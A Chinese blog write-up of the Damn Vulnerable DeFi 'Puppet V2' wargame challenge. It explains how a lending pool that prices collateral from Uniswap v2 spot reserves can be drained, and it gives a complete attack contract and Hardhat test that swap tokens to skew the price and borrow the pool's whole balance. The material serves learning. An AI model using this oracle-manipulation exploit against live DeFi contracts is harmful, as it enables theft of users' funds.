抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

1. issue

The developers of the previous pool seem to have learned the lesson. And released a new version!

Now they’re using a Uniswap v2 exchange as a price oracle, along with the recommended utility libraries. That should be enough.

You start with 20 ETH and 10000 DVT tokens in balance. The pool has a million DVT tokens in balance. You know what to do.

要求:通过手中的 20 ETH 和 10000 DVT ,将池中的 100万个 DVT 代币取出来。

题目链接

2. analysing

做这题是要求对 uniswap v2有一定的了解才行。

2.1 PuppetV2Pool.sol

代码的分析如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@uniswap/v2-periphery/contracts/libraries/UniswapV2Library.sol";
import "@uniswap/v2-periphery/contracts/libraries/SafeMath.sol";

interface IERC20 {
function transfer(address to, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
function balanceOf(address account) external returns (uint256);
}

/**
* @title PuppetV2Pool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract PuppetV2Pool {
using SafeMath for uint256;

address private _uniswapPair;
address private _uniswapFactory;
IERC20 private _token;
IERC20 private _weth;

mapping(address => uint256) public deposits;

event Borrowed(address indexed borrower, uint256 depositRequired, uint256 borrowAmount, uint256 timestamp);

constructor(address wethAddress, address tokenAddress, address uniswapPairAddress, address uniswapFactoryAddress)
public
{
_weth = IERC20(wethAddress);
_token = IERC20(tokenAddress);
_uniswapPair = uniswapPairAddress;
_uniswapFactory = uniswapFactoryAddress;
}

/**
* @notice Allows borrowing tokens by first depositing three times their value in WETH
* Sender must have approved enough WETH in advance.
* Calculations assume that WETH and borrowed token have same amount of decimals.
*/
function borrow(uint256 borrowAmount) external {

// Calculate how much WETH the user must deposit
// 借 WETH 的押金 amount = borrowAmount * 10 ^ 18 * reservesWETH / reservesToken
uint256 amount = calculateDepositOfWETHRequired(borrowAmount);

// Take the WETH
_weth.transferFrom(msg.sender, address(this), amount);

// internal accounting
deposits[msg.sender] += amount;

require(_token.transfer(msg.sender, borrowAmount), "Transfer failed");

emit Borrowed(msg.sender, amount, borrowAmount, block.timestamp);
}

function calculateDepositOfWETHRequired(uint256 tokenAmount) public view returns (uint256) {
uint256 depositFactor = 3;
return _getOracleQuote(tokenAmount).mul(depositFactor) / (1 ether);
}

// Fetch the price from Uniswap v2 using the official libraries
function _getOracleQuote(uint256 amount) private view returns (uint256) {
/**
1. address(_weth), address(_token) 不能相同
2. getReserves() 该函数的作用就是为了求出在 uniswap中各自对应的存储量
*/
(uint256 reservesWETH, uint256 reservesToken) =
UniswapV2Library.getReserves(_uniswapFactory, address(_weth), address(_token));

/**
1. amount 要求大于 0
2. reservesToken,reservesWETH 也要求大于0,也就是说要求在 uniswapv2中还有储备量
3. quote的计算源码: `amountA.mul(reserveB) / reserveA;`
3.1 代入本题:amount.mul(10 ** 18).mul(reservesWETH) / reservesToken
3.2 化简:amount * 10 ^ 18 * reservesWETH / reservesToken
*/
return UniswapV2Library.quote(amount.mul(10 ** 18), reservesToken, reservesWETH);
}
}

简单的分析,发现和上一题大差不差。

押金 = borrowAmount * 10 ^ 18 * reservesWETH / reservesToken

其中的押金是由 reservesWETH 和 reservesToken 决定的,要么改变 reservesWETH 要么 改变 reservesToken,本题是改变 reservesWETH

题中已经给我们的 tokenweth交易对注入一定的金额了

1
2
const UNISWAP_INITIAL_TOKEN_RESERVE = 100n * 10n ** 18n;
const UNISWAP_INITIAL_WETH_RESERVE = 10n * 10n ** 18n;

我们的任务就是将 UNISWAP_INITIAL_WETH_RESERVE的值尽可能的变小,我们可以通过UniswapV2Router02合约的 swapExactTokensForETH函数,将player全部的token在 交易对中尽可能的兑换多的WETH出来,从而降低我们的押金。

解题思路:

  1. 先通过 UniswapV2Router02 中的 swapExactTokensForETH消耗调 uniswapExchange中的 WETH

    1. 调用borrow函数
    2. 将hacker中的tokens转回player

3. solving

3.1 PuppetV2Hack.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol';
import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol';
import {PuppetV2Pool} from "./PuppetV2Pool.sol";
import "hardhat/console.sol";

interface IERC20 {
function deposit() external payable;
function approve(address spender, uint256 amount) external returns (bool);
function balanceOf(address account) external returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);

function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}

/**
解题思路:
1. 先通过 UniswapV2Router02 中的 `swapExactTokensForETH`消耗调 uniswapExchange中的 WETH
1.1 player给hacker转入tokens
1.2 hacker给uniswapRouter授权 ---> safeTransferFrom
1.3 根据token和weth创建一个数组
2. 调用borrow函数
2.1 将player的ETH转发给hacker
2.2 让hacker给pool授权,以此调用pool中的 transferFrom
2.3 调用borrow函数
2.4 将tokens转移到player
*/

contract PuppetV2Hack {

IUniswapV2Router02 uniswapRouter;
IERC20 token;
PuppetV2Pool pool;
IERC20 weth;
address player;

constructor(
address _uniswapRouter,
address _token,
address _pool,
address _weth) public
{
uniswapRouter = IUniswapV2Router02(_uniswapRouter);
token = IERC20(_token);
pool = PuppetV2Pool(_pool);
weth = IERC20(_weth);
player = msg.sender;
}

function attack() external payable {

// 获取player的token数量
uint256 tokenAmount = token.balanceOf(address(this));
token.approve(address(uniswapRouter), tokenAmount);

// 创建数组
address[] memory path = new address[](2);
path[0] = address(token);
path[1] = address(weth);

uniswapRouter.swapExactTokensForETH(
tokenAmount,
1,
path,
address(this),
uint256(block.timestamp + 150)
);

// ETH 转 WETH
weth.deposit{value: address(this).balance}();

// hacker给pool授权
weth.approve(address(pool), weth.balanceOf(address(this)));

// 调用borrow函数
pool.borrow(token.balanceOf(address(pool)));

// 将token转给token
token.transfer(player, token.balanceOf(address(this)));
}

// 涉及到转ETH的必须需要有这个接收函数
receive() external payable {}
}

3.2 challenge.js

1
2
3
4
5
6
7
8
9
it('Execution', async function () {      
/** CODE YOUR SOLUTION HERE */
const hacker = await (await ethers.getContractFactory('PuppetV2Hack', player)).deploy(
uniswapRouter.address, token.address, lendingPool.address, weth.address
);
await (await token.connect(player)).transfer(hacker.address, PLAYER_INITIAL_TOKEN_BALANCE);
// 这里减掉 0.1ether是为了保证交易正常进行,支付交易所需的gas
await hacker.attack({value: PLAYER_INITIAL_ETH_BALANCE - 1n * 10n ** 17n});
});

![image-20230721232602837](Puppet V2/image-20230721232602837.png)

解题成功。

评论



政策 · 统计 | 本站使用 Volantis 主题设计